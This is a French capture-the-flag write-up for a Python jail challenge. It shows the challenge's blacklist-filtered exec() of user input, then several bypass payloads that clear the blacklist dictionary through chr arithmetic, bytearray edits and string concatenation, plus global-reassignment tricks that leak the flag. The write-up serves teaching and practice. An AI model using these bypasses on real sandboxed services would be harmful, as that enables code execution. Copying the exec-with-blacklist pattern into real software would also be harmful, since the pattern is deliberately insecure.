📝 Setup initiale

- On a quoi

    ↪ script? app Flask? exe???

- Input

    ↪ str? nombre? fichier? pickle?

- Parsing et limites

    ↪ AST? Sandbox? Black list? Modification?

Blacklist

```
p = {
    # Filter testing
    "banned words":     ["get","any","all","print","in","char","or","and","len","flag","str","exec","eval"],
    "banned chars":     '_-+.0123456789\\of',
    "max length":       18,
    "ban unicode":      True,

    […]

    # Vars
    "globals backup":   globals(),
    "builtins backup":  __builtins__,
    "vars":             [],

    # Debug
    "debug extra":      True,
    "debug list":       ["onion"],
    "debug text":       "",
}
```

Flag

```
## Flag reading
flag = open('./flag.txt', 'r').read()

with open('./flag.txt', 'w') as f:
    f.write('' if p["is prod"] else flag)
```

Flag processing

```
def chall_init():

    while len(p["vars"])<len(flag):
        p["vars"].append([])

    for i,c in enumerate(flag):
        p["vars"][i] = c
```

Input évalué

```
inp = input("Test your instruction chief!\n>>> ")

if p["ban unicode"] and any(map(lambda x:ord(x)>128, inp)):
    inp = "print('gotcha!’)”

if len(inp)>p["max length"]
  or any(bw in inp for bw in p["banned words"])
  or any(bc in inp for bc in p["banned chars"]):
    inp = "print('gotcha!’)”

try:
    exec(inp)
except:
    print("WARNING: Bypass possible ! (or just a bad payload...)")
```

Exfiltration du flag

```
print(p["debug text"])

for dbv in p["debug list"]:
    print(' -', dbv)

print(TITLE)
print(CHOICES)
```

🦜 ¡Vamos a hacker!

- raw exploit
- Suppression de la blacklist
    - ↪ 01101110 01110101 01101101 01100010 01100101 01110010 01110011
    - ↪ Wingardium LevioCHRRRRRRR
    - ↪ String concatenation
- Legerdemain 1&2&3&4

Raw exploit

```
help()
# => __main__

help(repr(dir()))
# No Python documentation for [..., flag, ...]
```

Suppression de la blacklist

Numbers

```
i=list(p)
p[i[False]]=[]
p[i[True]]=''
print(flag)
```

```
a=b'a'[False]
i=b'i'[False]
O=b'n'[False]^True
m=b'm'[False]
y=b'y'[False]


x=b"banned wards"
x=bytearray(x)
x[a^i]=O
x=repr(x)   # bytearray(b'banned words’)
x=x[a^m:a^y]# banned words

p[x]=[]
exec(input())
```

Wingardium LevioCHRRRRRR

```
t=True
a=sum([t,t,t])
b=a*a*a*a
c=sum([a*a,b])
c=sum([c,a,a,t])
l=sum([a,c,t])

l=chr(l)

g=F"max l{l}ngth"
p[g]=c*c*c
au=chr(sum([a*a,t,c,a,t]))
p[F"banned w{au}rds"]=[]
lea=chr(sum([b,a*a,a,a,t]))
p[F"banned ch{lea}rs"]=""
```

String concatenation

```
a="banned ch“
a="%sars"%a
p[a]=''
a="banned wo"
a="%srds"%a
p[a] = []
print(flag)
```

```
k='banned ch''ars'
p[k]=''
k='banned wo''rds'
p[k]=[]
print(flag)
```

Legerdemain

```
CHOICES=vars() # print(CHOICES)

enumerate=exit # for i,c in enumerate(flag):

p["debug text"]=p
# => print(p["debug text"])
# => p contient => "globals backup": globals()

q=p["vars"]
p["debug text"]=q # chall_init() => print(p["debug text"])
```